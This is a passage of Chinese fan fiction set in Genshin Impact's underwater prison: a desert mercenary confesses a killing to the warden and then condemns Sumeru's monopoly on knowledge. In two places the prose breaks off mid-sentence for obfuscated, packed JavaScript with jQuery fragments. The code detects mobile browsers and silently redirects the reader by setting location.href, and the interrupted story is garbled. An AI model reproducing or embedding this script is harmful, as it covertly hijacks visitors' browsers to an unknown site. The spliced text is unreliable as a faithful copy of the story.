这倒也不算撒谎。
人是自己失足掉下去的,可不是她杀的。
她只是他掉下去的原因。
“你没有。”
老师低低重复这句话,她含混的声音里包含了太多情绪,并不仅仅是大仇得报的痛快,反而有种失魂落魄的茫然,露斯安不留痕迹地环顾四周,最后还是狠心扯下了她的手。
“您看起来有点累了,要不要回去休息一下?”她向后退了一步,“等我吃了早饭再和您聊。”
这当然只是一种社交辞令,她不习惯这个,只觉得说起来十分别扭。
但她知道自己不应该和老师在这里过分拉扯。
露斯安转身的时候,听到身后传来了模糊的声音,那声音很轻,带着哽咽和浓重的鼻音,最后组成破碎的单词。
——那句话是“谢谢”。
“……”
背对着老师,露斯安张了张嘴,最后依然选择了微笑着离开,没有试图进一步分辩什么。
她并没有打算和老师走得太近。
虽然她自认自己没有留下证据,但是心底并不敢就此松懈,她做了很多会让公爵将目光焦距在自己身上的事,这种情况下和老师交往过密是不明智的选择。
总而言之,没有了目标,她的日子过得很清闲,每天除了打零件外无事可做,于是开始有余裕探索一下这个水下堡垒的日常结构。
虽然水下的犯人有一大半都活得无精打采、死气沉沉,但也有那么一些人会挣扎着给自己找点事做,这些人会凑在一起形成一些小团体进行活动,据说是得到了公爵的首肯,就像教令院的学生们一样,形成一些小小的社团。
露斯安没找到什么特别感兴趣的项目,但她对人员构成很感兴趣——她竟然在这个封闭的水下发现了来自北国的探子。
根据她对北国人的了解,他们不会做徒劳无功的事,所以这个水下有什么值得北国大费周章?
是那个位高权重的公爵,还是这个梅洛彼得堡本身另有秘密?
不过那些都和她没有关系。
度过了悠哉悠哉的三天以后,露斯安的闲情雅致很快就随着接下来的事消失得一干二净。
入狱的第十二天,她又见到了老师。
本应出狱的老师。
那一瞬间,她听见自己的大脑“嗡”地一响。
顺滑的日常就像卡住的机器,因为这个变故而发出瘆人的噪音。
露斯安觉得有什么东西即将脱轨,但她依然带着一点侥幸心理,向老师询问了理由。
“您……还没有出狱吗?”
“你怎么知道——”
老师沉浸在自己的世界里,听到她的声音愣了一下,然后沉默了一会儿。
“我在入狱时因为想……”她顿了片刻,隐去了理由,含混地表示,“……所以,报上去的资料有部分缺失。而现在是特殊时刻,所以公爵要进行一些核对,在补全资料以后我就可以离开了。”
“……”
“别担心,他并不认为人是我杀的,没有任何人为难我。”
这是正当的理由。
至少听上去是一个正当的理由。
如果露斯安从来没有和那个典狱长正面打过交道的话,她一定不会多想。
但他的行事作风给她留下了深刻的印象,尽管他表现得风度翩翩、进退有度,他甚至宽容了她的违规夜行,但露斯安想到那位公爵老爷的时候,第一个跳出来的却是他在擂台上的画面,在昏沉的水影里,那张脸抹除疏懒和散漫,嘴角的弧度锋利得能撕碎人的喉咙。
强烈的不安笼罩着她。
尽管告诫自己不要过分焦虑,但思维依然蒙上了暗影,她只觉得事情正向着她最不希望的那个方向飞快地滑坡。
这个夜晚她睡得并不安稳。
露斯安做了梦。
梦里是久违的故土,太阳将沙地照得滚烫,吹到脸上的热风带着黄沙的颗粒,那样干燥的空气熟悉得让人想要落泪。
梦里的自己稚嫩而狼狈。
她跪在地上,黄沙如同融金,灼痛了她的膝盖,残破的兽皮不能很好地遮挡身体,身上的伤口也在火辣辣地疼,但她依然努力将身体伏得更低一些,用额头去触碰主母精致的皮靴。
“露斯安,我亲爱的孩子。”
主母唇边逸散出无奈的叹息,她矜贵宽和的目光垂落在她身上,即使她看不到,那眼神依然灼痛了她的神经。
她听到主母的声音,温厚的,慈祥的,像铡刀一样从头顶落下来——
“——我对你很失望。”
露斯安猛地惊醒。
热砂与烈日从眼前消散,沉郁冰凉的水汽缠上肌肤,露斯安对着昏暗泛蓝的铁质墙壁愣了一会儿,终于想起来自己现在身处何方。
这里是梅洛彼得堡。
梦中的故土早就遥远得如同前世。
身体在抽痛,她有些分不清是源于回忆还是真实,她只知道记忆中的羞耻感延伸到现在,即使时至今日,她依然为自己辜负了主母的期望而感到羞愧。
她不知道自己为什么会忽然梦到过去,但她觉得这并不是什么好兆头。
第十三天,她又看到老师的身影时已经没有了惊讶。
只是心沉沉地坠了下去。
这是比预想中更糟糕的结果。
是公爵在怀疑老师吗?不,那不应该,死亡地点是舍监区通向外界的偏僻地方,入口的走廊有看守站岗,普通人是没有能力瞒天过海制造意外的,相信那个公爵本人也知道这一点。
所以他扣留老师,仅仅是因为老师拥有动机是吗?
那这场扣留会持续多久?是真的等到补全资料就可以,还是要等到他找到凶手才可以?
或者说——露斯安咬住嘴唇——他真的是在怀疑老师吗?
她没有证据,这只是一种模糊的直觉,就像狩猎时身体会提前向她预警危机的到来那样,尽管梅洛彼得堡一切如常,但她从安稳的日常里看到了晃荡的阴影。
露斯安克制住了去向老师询问什么的冲动。
她意识到那没有意义。
如果公爵没有怀疑老师,那她当然什么都不知道。
如果公爵真的在怀疑老师,那她当然也不会想让自己担心。
还有一个最坏的“如果”。
——如果公爵怀疑的其实是她的话,那他究竟有没有对老师进行施压?
所以,无论她向老师询问什么,最后大概都只会变成对方的精神压力。
怀揣着各种各样的猜测,露斯安写了一封信。
那封信很短,用词很规整,向迪希雅阐述了自己即将出狱的事实,并期待同她见面,仅此而已。
但那封信并没有被前台接受。
理由是,现在是特殊时期,加强了犯人管理,对外界的书信往来进行了管制,直到调查结束。
“如果有什么异议的话,可以试着向公爵申诉。”
接待处带着职业化的微笑这样说。
这也是一个非常正当的理由。
露斯安没有做任何表示,她顺从地带着信离开,在一个不会被注意到的地方站了一会儿。
她看到有犯人带着信交给前台。
那封信被收下了。
“——”
所有的不祥预感都变成了现实,而她并没有申诉的途径。
她有哪里露出了破绽吗?她是留下了什么痕迹吗?公爵为什么会知道她和老师的关系?
这些问题的答案并不重要,重要的是,公爵确实发现了什么,而他在针对她展开行动。
她脚下不再是梅洛彼得堡的钢铁道路,而是线条明晰的巨大棋盘,对面的棋手正在向她宣告将军。
露斯安拖着沉重的步伐走向了管理区的中央。
事实上她并没有想好自己该说些什么,但唯有一件事无比清晰——
——公爵是一切的关键。
冷静下来,冷静下来,不需要急躁,她这样反复在心底告诫自己,现在还远远不是绝路。
如今的情况,并不比她昔年在补给断绝的时候孤身一人面对圣骸赤鹫更凶险。
他是人类。
人类拥有情绪,也会因为情绪产生破绽。
而她善于捕捉破绽的缝隙。
露斯安按上左臂的臂钏,手下传来了轻微的“咔哒”声,她知道那是机关转动的声音,这种手握
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096950|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他人不知道的武器的感觉让她安心。
只要能见到他……她得想办法见到他,无论如何。
无论是谈判还是狩猎。
但她的求见也并没有得偿所愿。
公爵办公室前的守卫用公事公办的刻板声线表示:
“抱歉,公爵现在不在。”
“——、——”
那不可能。
她去过公爵的办公室,她亲眼见过近期出狱的资料,今天至少有三个长期犯人会出狱,作为典狱长,他必须在办公室里为犯人准备手续。
短暂的错愕之后,强烈的情绪直冲脑门,露斯安掐住自己的手臂,用最后一点理智阻止了抽刀的动作。
——他不想见她。
甚至说,如果他真的发现了她潜入办公室的事实,那他一定也知晓这点——露斯安一定知道他就在办公室里,而他在这种前提下选择了胆张明目的谎言,甚至不屑于稍加掩饰。
他想要做什么?他又究竟想要她做什么?
延长了老师的刑期,切断了她与外界的通信,在封闭的深海之中,露斯安分明地听到了进路崩塌的声音。
先前最糟糕的预设成为了现实,公爵对水下的掌控权是绝对的,即使没有证据,他也可以用任何理由延长一个人的刑期。
她手里有什么能同他交易的筹码吗?这个水下有哪个人能成为人质吗?她应该在行刑前坐以待毙还是想办法放手一搏?
没有人能给她答案。
露斯安只能告诉自己冷静下来,焦虑没有意义,但重压依然像绳索一样勒住她的脖子,公爵牵引着绳索的另一边,随时可以将她吊死在断头台上。
不要焦虑——尽管她如此告诫自己。
但是她听到了犯人的谈话。
“……要加刑的吧,以前那个7027不就是,多打了一年零件?”
“7027那是从犯,主犯不是还关禁闭来着,关了……噢,一年吧……”
“关不关还不是公爵说了算……”
“有没有罪不也是公爵说了算,他可以关你一辈子——”
那讨论在中途戛然而止。
岔口的壁灯像跃动的烛火一样闪烁了一下。
圆形的走廊口落下的阴影因此而摇曳,属于建筑的棱角里,依稀分离出了人的形态。
来自沙漠的女人站在阴影里。
黑暗吞噬了她的表情,暗红的花纹如同蔓生的枝条一样自她裸露的腰间向上生长,灿金的双眼里没有丝毫属于人类的情绪,看人的时候就像沙海的烈日在照耀死去多时的白骨。
本来在说话的人张开嘴,发现自己徒然失去了声音。
他应该再说些什么,但是声音出口前就冻结在喉咙里,和那双发光的金色眼睛对上视线,那眼里映出的不是他作为人类的形貌,而是荒野上被野兽啃食的腐烂血肉。
就像过了一辈子那么久。
利刃入鞘发出危险的声音,沙漠的女人转过身,无声地消失在走廊的影子里。
说话的人终于跌坐在地上,汗水全然浸湿了衣衫,像脱水了的旅人一样拼命地喘息。
露斯安用全力按耐住胸膛里的杀意。
——不能在这里动手杀了他们。
如果他们不是公爵的人,那她杀了他们也没有任何意义,如果他们是公爵的人,那她在对他们动手更加没有意义。
她面对的并不是什么多嘴的犯人,而是上位者的意志延伸。
避而不见的态度,不经掩饰的谎言,刻意传到她耳朵里的流言……她知道这是一种施压,种种举措如同尖锐的刀锋一样在她周围架起密不透风的墙,玻璃外万顷海水正在将她没顶。
这并不是一场平等的对弈。
面对绝对的权力,她只棋盘上的棋子,而公爵是跳脱出棋局的操盘手,他可以按照心情处置这里的每一个人,定制规则的就是公爵本人,他遵守规则是因为他想,而不是必须。
自弱点暴露的那一刻起,她在他眼里就是画着红心的脆弱标靶而已,他想什么时候扣下扳机、穿透她身体的哪个部分,完全取决于公爵的心情。
如果他一直不肯见她怎么办?
如果他就只是想要挥霍手中的权力,她又能怎么应对?
他在引导她的情绪,她感受到了,但她并没有破局的能力。
——她惹怒的并不只是一个风度翩翩的绅士,而是一个大权在握的典狱长。
露斯安看向管理区的办公室,笼罩在水波里的建筑依然沉默肃穆,青碧柔滑的水影里,深浅潋滟的金色光丝在狼头浮雕上烙下倏忽变幻的纹样,那样曼妙宁静的光景在如今看来,充满了警告与肃杀的意味。
就像狼在戏弄无法逃离的猎物,公爵隐没在梅洛彼得堡的黑暗里,一改往日的散漫与风度,向她展露了属于上位者的獠牙。
13. 第 13 章
第十五天的时候,露斯安终于成功见到了公爵。
或者应该说,他终于给了她见面的机会。
露斯安不知道公爵是什么时候离开办公室的,但她捕捉到了他回归的身影。
她没有任何犹豫地跟上去,这一次,守卫没有多加阻拦,她成功地推开了办公室的那道门。
公爵正在上楼,大衣上尾骨似的金属长链随着他的步伐扬起来,在他身后拉出长长一道锐利的银光。
厚重的铁门在身后闭合,露斯安下意识地绷紧背脊。
她站在空荡的一层向上看,环绕向上的楼梯在两个人之间切出一条尖锐的线,这个狭窄的视角和封闭空荡的空间让人如芒刺背,恍然间她有一种主动置身于封闭陷阱的焦躁不安。
“公爵——”
露斯安在即将脱口的称呼上顿了一下,最后选择了一个更为谨慎的通称,“大人。”
“怎么?”
公爵停下了步伐,他偏头向下看,她惊讶地发现那张脸上竟然带着如常的笑,他看起来还是那样散漫随和,语调也依然疏懒而漫不经心:
“如果是办理出狱手续那未免早了点,你的刑期今天才结束,手续要等到明天。”
“……”
露斯安哑然。
她已经准备好了接受愤怒和诘责,她无所谓惩罚,只要他允许老师出狱。
但真正获得了谈话的机会,一切和想象中大相径庭。
他太平静了……风度与态度都无可挑剔,就像两个人之间不曾有过任何龃龉,就像他根本不知道死亡的人和她有什么干系。
就好像这连续几日的施压只是她心虚下的一种错觉。
但这也可能代表着,这件事没有任何回旋的余地。
“或者说,你是来喝茶的?”
——下午茶我倒是有很多,所以你带够了特许券吗?
公爵抱着胳膊,自上而下地看着她,态度称得上是和颜悦色。
但他没有走下来。
他在俯视着她。
从旋转楼梯的上方,没有拉进距离的意思,她的身影映在他眼里,就像空气里微小的浮尘。
那是属于上位者的姿态。
这个小小的细节,让她捕捉到了那笑容下隐藏着的危险暗影。
最后露斯安抿一下嘴。
她仰着脸,努力让自己看起来足够诚恳:“我能……和您谈谈吗?”
“谈谈?”他不置可否地表示,“听起来好像是我们有过什么约定似的……是我忘记什么了吗?”
“——”
有那么一瞬间,露斯安想要直接抽刀割断他的脖子。
但她没有。
那只是一种不恰当的冲动,她没有将他一击毙命的能力,这种做法只能让她的处境进一步恶化。
最后,她的指尖只是克制地抽动了几下,然后绕过身前,按住另一只手的手腕。
身上的金饰碰撞出叮叮当当的声音,手下的三串金镯子硌得手指发疼。
“——是我做的。”
她孤注一掷地张嘴,不管不顾地把所有的底牌都掀给他看——尽管她知道这对她没有好处,但她找不到除此以外还能开启谈话的方法:
“那天是管道维修日,6068受雇到废弃区的维修平台进行清扫作业,那个地方和外界洞穴直接相连,偏远僻静,除了守卫以外没有任何人,所以我制造了一点混乱,趁着看守注意力转移的时候,抽走了6068作业的垫脚,他从平台上摔了下去,脑袋磕在了地面的碎石上。”
没有停顿地一口气说完,露斯安的呼吸因此而变得急促,末了,她听到自己的声音撞在一楼空荡荡的空间里,留下让人不安的回响。
高处的公爵没有说话。
他只是慢慢眨了一下眼。
他依然在笑,但有什么随着这个眨眼发生了改变,就像是一片乌云遮住了日光,房间的温度因此而下降,或许是因为眼神变得更冷,也或许是因为嘴角的弧度更薄,总而言之,只是眨眼间,随和的绅士风度自他身上褪去,她眼前的是位高权重的典狱长,他看过来的眼神像冰封的湖面,折射着危险的冷光。
“哈。”
公爵笑了一声,“我应该欣赏你的诚实,只可惜它来得太不是时候,你说对吗?”
“……”
“我给过你很多机会,S9695。”
他终于抬脚走下楼梯。
靴底的金属同地面相扣,发出让人生畏的声音。
“你是我见过的最好的战士,而我向来对有能力的人网开一面,但那并不能构成你在我的地盘上为所欲为的理由。”
手铐在他身侧叮当作响,他的脚步停留在楼梯的中段,依然是俯视的姿态,居高临下地看着她。
笑容从他脸上消失了,取而代之的是一种掌权者的淡漠,一旦没有了日常里的随和调笑,公爵深邃的眉眼就透露出了强势的味道,看人的时候就像狼王在审视猎物。
“我难道没有提醒过你吗?或者你没有收到我的暗示吗?
“我自认对你足够宽容,我可以忽视你擅自潜入办公室的行为,也可以不去追究你那一晚的违规夜行,我甚至可以对你在擂台上的过激举动睁一只眼闭一只眼,但是——”
语调在这里微微扬了起来,但并不显得欣悦,反而透出了凛冽的味道,冷铁一样的压迫感扑面而来,不留情面地扼住她的喉咙:
“很遗憾我的宽容并没有得到相应的回馈。你在这种情况下依然执意选择了践踏我的底线,那么,我收回对你的宽容,等待你的将是惩罚,这很公平。”
“——”
露斯安当然知道自己做过什么。
但是当自己的行为被他一项项罗列出来的时候,她依然听到了自己失控的心跳声。
“是的,一切都是我咎由自取。”
露斯安没有反驳,她的呼吸绷成一条直线,随时都会崩断,“这和‘老师’没有任何关系。”
“老师?”
公爵捏着下额思考了片刻。
“啊,你说那位混血的安女士。”
像是刚刚才想起来有这么一号人似的,他露出恍然的表情,“那位女士目前的精神状态不太安定,所以我‘好意’邀请她在水下冷静一断时间,而她也欣然应允。”
他挑眉看着她,“有什么问题吗?”
“——”
有问题吗?当然没有问题。
他是梅洛彼得堡的管理者,这座水下堡垒是他的国度,条款和法律的最终解释权归属于公爵本人,他说他只是“好意邀请”,那就没人能置喙他的言辞。
他散漫的态度昭示着一个赤 | 裸裸的现实——她没有和他谈判的资本,他完全可以按照自己的心情,生杀予夺。
汗水沿着脸侧滑下去。
她仰头看着楼梯上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096951|163730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的男人,他高大的身影同记忆中的主母逐渐重合,有那么一瞬间,她觉得自己依然处于热风和黄沙之中,提心吊胆地等待最后的审判。
她不知道他想要什么。
但是她曾经长期侍奉主母,她知道同上位者对话需要什么。
露斯安深深吸一口气,将手伸向了披肩。
白色的披肩无声地垂落在地上,然后是身上的武器,在重物落地的钝响当中,她向后撤了半步。
这半步让她靴子上的金属与地面相扣,发出玉碎似的清脆声音。
因为这一连串动作,她终于从公爵游刃有余的表情里看到了其他情绪,就像微风吹皱平静的水面,惊讶从他眼底飞快地划过去,她希望自己并没有看错。
那样的情绪变动实在是快得让人疑心是错觉,最后他只是挑起了眉毛,默不作声地,自高处俯视她的行为。
“——我无意辩解我越界的行为。”
露斯安半跪在冰凉的金属地面,犹豫了一下,最后将目光垂落于眼前的地板花纹。
这是个非常危险的行为,她在一个神之眼使用者的面前去除了赖以生存的武器,她对他露出了颈项,她甚至错开了目光,所以她不能第一时间对他的行为做出反应,她正在向野兽主动暴露自己的弱点,这个认知让她的心脏几近炸裂地跳动。
“但是这件事确实和老师没有任何关系,至少,关于这点,我希望您能听我解释。”
房间安静得像是死了。
只有她一个人的话语落在钢铁的地板上。
接下来就是沉默。
漫长得让人焦灼的沉默。
露斯安看不到对方的表情,这让她的心跳一刻也不能平息,她只能感觉到他的目光垂落在她的身上,带着让人不安的审视意味。
房间里没有一点声音,空气紧绷到让人窒息的地步,她在脑海里勾勒无数种可能,那些幻觉拉长了时间的感知,她以为自己几乎要和沉重的房间融为一体。
“所以,”半晌,她终于听到了他的声音,“你确实是来喝茶的。”
“……”
露斯安有点不能理解这句话,旋即她听到他的叹气声,这个声音让剑拔弩张的气氛徒然一松。
她听到他的脚尖点了点地面:“上来吧。”
“——”
什么是“上来”?
她要怎么上去?
他要她——以什么样的姿态,上去?
露斯安的大脑“嗡”地一响,所有血液都冲上脑门,强烈的耻辱感鞭笞着神经,她僵在那里无法动弹。
如果他真的是那个意思——
“哈啊,看来是位矜持的女士。”
就在她因为耻辱而僵住的时候,她听到了脚步声。
不是向上,而是向下。
明确地向着她的位置走来,锃亮的军靴出现在余光里,然后脚步声在她身侧停住。
视野里出现了一只手。
漆黑的绑带,有力的指节,若隐若现的伤疤,指根的金属指环在灯光下闪闪发亮。
露斯安迟疑地抬头,她看到公爵在身侧躬身,他高大的身影向她的方向倾斜,外套红色的内衬像舞台的帷幕一样展开,如同一只舞蹈的邀请,对她做出“请”的姿态。
“请吧,女士。”
她从这个动作里解读出了他的态度,但她并不确定。
——他好像是想让她站起来。
14.第 14 章
这是露斯安第二次踏足公爵的办公室,但她的心情远比上一次更加沉重。
这间办公室同记忆中没有任何区别,还是那样简洁,干净,连头顶的涡轮转动的频率都和记忆中一模一样,唯一的变动就是公爵换了一套茶具。
她的武器留在一楼,这让她多少有点不安,露斯安忍不住向下瞟了一眼,眼神转回来的时候,发现公爵在看她,她的心脏猛地一跳,局促地绷紧身上的肌肉。
他只是对她扬一扬下巴。
“坐吧。”
“……?”
坐……坐什么?什么是坐下?这里为什么会出现这个词?
露斯安一时间没反应过来,她顺着他的目光看到了待客的沙发,她茫然地看着他,疑心自己听错了什么。
“我……可以坐下吗?”
“嗯哼?这可真是个引人遐想的问法,难不成你有跪着和人说话的癖好?”
男人打开房间的柜子,闻言偏头看了她一眼,“我个人虽然没有这种兴趣,但是梅洛彼得堡还不至于容不下这点小爱好,不过我建议你收敛点,下面的门可没锁。”
“………………………………”
不她没有这种奇怪的兴趣,她只是不能理解现在在发生什么。
在露斯安的认知里,她可能是上来……受刑,受罚,逼供,什么都行,无外乎那些手段,她在部族那里看过不少,她自认已经做足了心理准备。
而这其中没有任何一条能解释现在的画面。
露斯安看到他打开一罐茶叶。
露斯安看到他拎起了水壶。
露斯安看到尊贵的典狱长大人端着和他体型完全不符的小巧瓷杯放到她面前的茶几上。
茶杯里蒸出的白雾模糊了视线,她像梦游一样问他:“……这是什么?”
“迷药,喝了以后你就会不省人事,再睁开眼睛就会发现自己一个人被绑在又黑又小的陌生房间里,叫破嗓子也不会有人来救你。”
“…………………………?”
“开个玩笑,茶叶而已。”
公爵低低笑起来,然后信步走回办公桌后边的座位,端起自己那一份举杯对她示意:
“我对异邦的故事很感兴趣,而你看起来有很多东西想要和我分享。
“再没有什么比一杯好茶更适合叙事时间了,对吧?”
“……”
“啊啊,当然,虽然我说是茶,但它里面依然有可能含有不良物质,或许是迷药,或许是毒药,也可能是其他乱七八糟的下流东西,毕竟没人能保证我说的是真话,所以你的顾虑完全情有可原——呵。”
他漫不经心的调侃以一个上扬的语气词作为结尾——就在他说话的时候,露斯安端起茶杯,像喝酒一样一饮而尽。
她将空荡荡的茶杯放到茶几上,沉默地抬眼看着他。
公爵虚起眼睛盯了她片刻。
眼神并不很冷,但充满了压迫。
然后他咧开嘴,无声地张口,做了一个清晰的口型。
——好姑娘。
“那么。”
公爵坐在上首,身体向后靠进椅背,“你想和我说什么?”
“我……”露斯安谨慎地斟酌了一下语句,“他的死和老师没有任何关系,所有事情都是我一个人做的。”
“啊,显而易见,那位女士是没受过训练的凡人,不具备成为同伙的作案能力。”公爵平静地陈述,“她拥有需求,而你恰好是个佣兵——”
“不是的!”
露斯安猛地打断他的话,然后她意识到自己过于激动,在他挑眉看过来的表情里顿了一会儿,放低了声音,“抱歉……但是老师确实没有雇佣我做任何事,她也没有向我说过她想要复仇,和我们沙漠人不一样,她是个读过书的人,善良得有点天真,最初的时候,看我杀掉天上的赤鹫溅一点血都会被吓到。”
似乎回忆起了什么,露斯安笑了一下,但是那笑容又很快在叙述的过程里逐渐消融,“她是不会雇佣人去做这种事的,她只是……她只是在某几个日子会喝醉然后痛哭,说一些我当时不太能理解的内容,后来我猜,那分别是她的丈夫和女儿的祭日,可能还有生日。”
公爵不辨喜怒地“嗯”了一声:“继续。”
其实露斯安也不知道自己应该说什么,她顿了一会儿,努力将自己的心路总结成话语——
“一个月前,老师忽然从村庄里消失了。我在房间里找到了她的信,大意是,她要去处理自己的陈年私怨,如果还有缘分的话,她会回来继续向我们传授知识。”
露斯安盯着茶杯的花纹,感觉自己的嗓子逐渐变得干涩,“我的情况比较特殊,和老师相处得时间比较多,所以知道一些别人不知道的事,在消失之前,她有一段时间醉得厉害,反复重复‘他要出狱了,他竟然要出狱了’‘真可笑’之类的话……我知道她要做什么。”
即使知道并不应该走神,但说到这里,露斯安还是对着空气发了一会儿呆。
而公爵并没有出声催促。
片刻,她从回忆里惊醒,轻轻“啊”了一声,然后才继续说下去。
“她真的是个很好很好的人……那样的人不应该沾血的,也不适合杀人,而我刚好除此以外没有什么长处。”
露斯安的表情变得柔和,她对着虚空笑一笑,头顶的水光为她的白发渡上了一层虚幻的光晕,这让她看起来像是个正在奉献灵魂的纯洁信徒,“我可以做这个。沙漠人会记得所有人的恩情,她为我们做了那么多,那我当然也应该为她做点什么。”
叙述停留在这里。
然后房间里就没有了声音。
昔日的回忆让露斯安有些心不在焉,她的意识正在飘回远方的故土,不能很好地集中精神,以至于过了很久,她才意识到这种安静并不应该。
露斯安从回忆中抽离,发现公爵正在看她。
那目光深暗得像是深海的水。
“你的意思是,”
同她对上视线,公爵才终于出声,“因为她是你的老师,所以,你仅仅凭着一封并没有求助意味的离别信,就横穿沙漠,远赴重洋,冒着生命危险和牢底坐穿的可能性,赶在对方之前,帮对方处理掉陈年的仇人。”
他这样总结,“就只是因为她是你的老师?”
那并不是一句质问,就只是单纯的提问。
相较于她预想的严苛审讯,公爵的态度未免太过平和,这让她有一种错觉,就好像这不是典狱长对犯人的问话,而是她在神前倾诉自己的心事。
“‘就只是’……?”
露斯安重复这个词,她看着公爵,那眼神像是在发呆,过了一会儿,她的眼神才逐渐聚焦,她的嘴唇开了又合,似乎想要倾诉什么,但又在中途停住了。
“您……”最后她踌躇着问,“对须弥有多少了解?”
“除了那天晚上和你说过的以外,恐怕不比地理志上更多。”
公爵说,“智慧之都,学者之城,是世间一切知识的源泉,拥有七国唯一的高等学府。据说昔日的大慈树王以神力创造了名为‘虚空’的系统,统合全民的智慧,并将‘知识’赐予人民,而须弥的子民也是最富有求知欲的学者,终生都在追寻智慧的根源,可以为了论文拼上一切。”
“哈哈。”
这一次,轮到露斯安发出冷笑。
她看一眼公爵的表情,忍住了过分的攻击性,最后涌动的感情波动都浓缩成了眼里刀锋一样的冷光:
“您说得没错,须弥是‘智慧‘的国度,‘知识‘是神的恩赐,须弥人深受神恩,所有人都将生命投入知识的探索,教令院的学生更是遍及天下——至于沙漠人是不是文盲,跟‘智慧的须弥‘有什么关系?”
她脸上终于还是浮现了薄而尖锐的讽刺,“雨林的老爷才是须弥人的代表,沙漠的牲口怎么配拉低‘智慧之国’的口碑。”
露斯安本来想用更平静公正的口吻来叙述,但她发现自己好像不能完全抑制情绪。
“‘知识’在须弥受到严格的管制,纸质书籍只在大贤者首肯的范围内可以流通,正经授业的学堂需要经过重重审核,您说的‘虚空系统’更是只在雨林内部推行,沙漠还不配让智慧之神浪费她的伟力。
“【沙漠里的孩子就算有机会拿到虚空终端,发出的所有知识申请也几乎都被拒绝】。(注)
“——沙漠人是不配接触‘知识’的。
“当然,大贤者从未立法禁止过沙漠人读书。
“他们只是管制了纸质书籍,设置了授课的范围,垄断了‘知识’的传播途径,我们想要获取真正的文化类书籍就只能依赖走私,然后那些斗胆贩售‘知识’的罪人就会被风纪官们严惩。
“‘知识’的管制是全方面的,未经许可的公开授业将会面临一系列的处理,偶尔也有善良的老爷会在阿如村一带传授一些基础知识,但并没有人能真正将‘知识’系统性地带到沙漠里,而我们当然不能指责那些善良的学者们,说他们竟然不肯冒着更大的风险参与走私环节、扩大授业的面积。”
她在这里停了片刻,克制地闭一闭眼睛。
“【须弥由伟大的贤者掌控,沙漠子民根本无关紧要,只是必要时才存在的工具】。
“在雨林老爷们的心底,沙漠人与牲口无异。
“好在老爷们心善,见不得文盲,所以雨林穷极人力,在沙漠与雨林间筑起了一道通天高墙,官方说法是为了防止风沙侵蚀,将其命名为‘防沙壁’。
“【风沙是能被墙壁阻挡的吗?】……我不知道。
“但我知道从此沙漠与雨林彻底泾渭分明,防沙壁断绝的,是沙漠人的痴心妄想。
“智慧的宫殿垄断了‘知识’,只有雨林的老爷们才有资格接受教育。沙漠的孩子只配做个目不识丁的野兽,而神的智慧对此并无意见。
“唯有百年难遇的天才,才有资格获得老爷们的青眼,破格被教令院录取,而贤者们会指着那些让人望其项背的佼佼者对沙漠人说,‘看啊,谁让你们不像ta们一样努力呢’?”
——是啊,谁让我们沙漠人自甘堕落,生来卑贱,不知道投胎的时候要选个天才做壳子?
露斯安嗤笑,声音并不尖锐,但溢满了讽刺。
“同是神的子民,为什么沙漠人想要什么就比雨林人天生难上百倍?
“是因为沙漠人是赤王的孑遗,所以草神从不把我们视为她的子民?
“是大贤者拥有了通天之能足以悖逆神祇,所以草神失去了她的权柄,于是‘智慧’的恩典传不出净善宫半步?”
她激昂的陈述在这里冲到顶峰,然后又徒然坠落下来,碧盈盈的水影夹杂着金色的光丝落在她身上,让她的声音像是遥远的彼方传来的叹息。
“……无论答案是什么,对我们而言都不重要了。
“重要的是,我们和‘知识’隔了太久,久到我们足以忘记自己也曾有过智慧和辉煌,久到连我们自己都觉得,沙漠人生来就该是野兽。
“恶劣的环境早就磨平了沙漠人的对‘知识’的渴望,贫穷禁锢了沙漠人思考,【赚了摩拉就拿去买酒和美食,仅有的财富全都被轻易花出去】,我们习惯了朝不保夕的短暂狂欢,用廉价的刺激麻痹自己的人生,然后让我们的孩子也重复这样贫穷而短视的人生。
“——但我觉得这不对。”
她的目光落在公爵身上,相较于最初的尖锐,她的表情看起来平静了很多,只是金灿灿的双眼从未熄灭,像两颗恒久永存的金色烛火。
“没有人生来就想做牲口。
“如果这就是命,那我不认。”
露斯安笑一笑,她身上各色首饰都在这个笑容里亮了起来,年轻的眉眼在暗沉的水下盈盈有光:
“既然沙漠人能在自然的绞杀下活到现在,那当然也能在人的统治下找到生路。大贤者可以垄断‘知识’,但是折不断我们生而为人的脊梁,我们不想继续当便宜的牲口,所以我们自己寻找出路。
“对您而言,老师‘就只是’老师,但对我们而言不是这样的。
“她是一个拥有渊博的学识和充足的耐心、愿意在黄沙和烈日里扎根,不介意资源的匮乏,能忍受恶劣的气候条件,不会畏惧大贤者的责罚,甚至会主动接触违禁的教材,能将‘知识’系统性地传给沙漠人的,几十年来唯一的一位‘老师’,而我愿意为了她做任何事。
“诞生于沙漠的孩子理应取回他们的童年,他们应该拥有一切我有的,也应该享受一切我没有的。在阳光下奔跑,在学堂里读书,穿过风沙去雨林里享受自然的恩典,不必再过刀头舔血的日子,不用畏惧朝不保夕的生活,人生最大的烦恼就是自己的毕业课题到底改怎么改。”
她的声音在漫长的陈述里逐渐趋于平静,但内里蕴含的底色从未发生改变,就像是历经风暴后依然顽强地盛放的花。
“——就算神不允许,我们也要把自己拼出个人样来。”
沙漠人的陈述到这里结束,接下来就是漫长的沉默。
涡轮在头顶旋转,将搅碎的水波投注于寂静的房间,壶里的茶已经在漫长的叙述里凉了下去,而公爵并没有添置的意思。
